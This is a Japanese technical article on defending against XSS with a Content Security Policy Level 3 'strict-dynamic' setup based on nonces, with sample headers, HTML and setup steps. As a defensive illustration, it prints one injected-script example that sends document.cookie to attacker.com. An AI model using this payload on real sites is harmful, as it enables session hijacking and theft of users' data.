Content Security Policy (CSP) Level 3でのnonce・hashを用いたXSS対策

Security Web Frontend HTTP
結論

'unsafe-inline' を廃止し、nonce'strict-dynamic' を使った Strict CSP を構築します。

# W3C CSP Level 3 公式仕様:リクエストごとに一意な nonce を生成して返却
Content-Security-Policy: script-src 'nonce-rAnd0m123456' 'strict-dynamic'; object-src 'none'; base-uri 'none';
<!-- HTML 側:生成された nonce アトリビュートを付与されたスクリプトのみ実行許可 -->
<script nonce="rAnd0m123456">
  console.log("このインラインスクリプトは安全に実行されます");
</script>

<!-- ❌ 攻撃者が注入した script タグには nonce が無いためブラウザが実行を阻止 -->
<script>
  stealCookies(); // ブラウザにより Blocked
</script>

W3C CSP Level 3公式仕様:nonce と strict-dynamic の仕組み

W3C Content Security Policy Level 3 規格(w3.org/TR/CSP3/)では、従来のドメインホワイトリスト形式(script-src https://apis.google.com)による設定の多くが回避(Bypass)される問題を受け、Strict CSP を提唱しています。

ディレクティブ機能と安全性主な役割
nonce-{random}極めて高いリクエストごとに生成されるワンタイム暗号トークン。一致しないスクリプトを完全遮断
'strict-dynamic'高い (CSP Level 3)nonce で許可された安全なスクリプトが動的に読み込む子スクリプトの実行を自動承認
'unsafe-inline'危険(非推奨)インライン <script> の無制限実行を許すため XSS の原因になる

実際に起こる障害:'unsafe-inline' 記述による XSS 攻撃突破事故

Google Analytics やサードパーティタグの動作エラーを回避するために、安易に script-src 'unsafe-inline' を CSP ヘッダーへ追記してしまうケースが後を絶ちません。

この指定が存在する場合、XSS 脆弱性を持つフォームやURLパラメーターから攻撃者が注入した以下のような悪質なスクリプトがブラウザ上でそのまま実行され、ユーザーのセッションクッキーや個人情報が外部サーバーへ全漏洩する大事故 が発生します。

<!-- unsafe-inline が許可されていると、注入された攻撃コードが実行されてしまう -->
<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

設定の手順

  1. Web サーバー(Next.js Middleware や Express、Nginx 等)でリクエストごとに暗号学的に安全なランダム文字列(Base64 128bit以上)の nonce を生成する
  2. レスポンスヘッダーに Content-Security-Policy: script-src 'nonce-${nonce}' 'strict-dynamic'; をセットする
  3. HTML レンダリング時に、正常なインラインスクリプトタグすべてに nonce="${nonce}" 属性を注入して出力する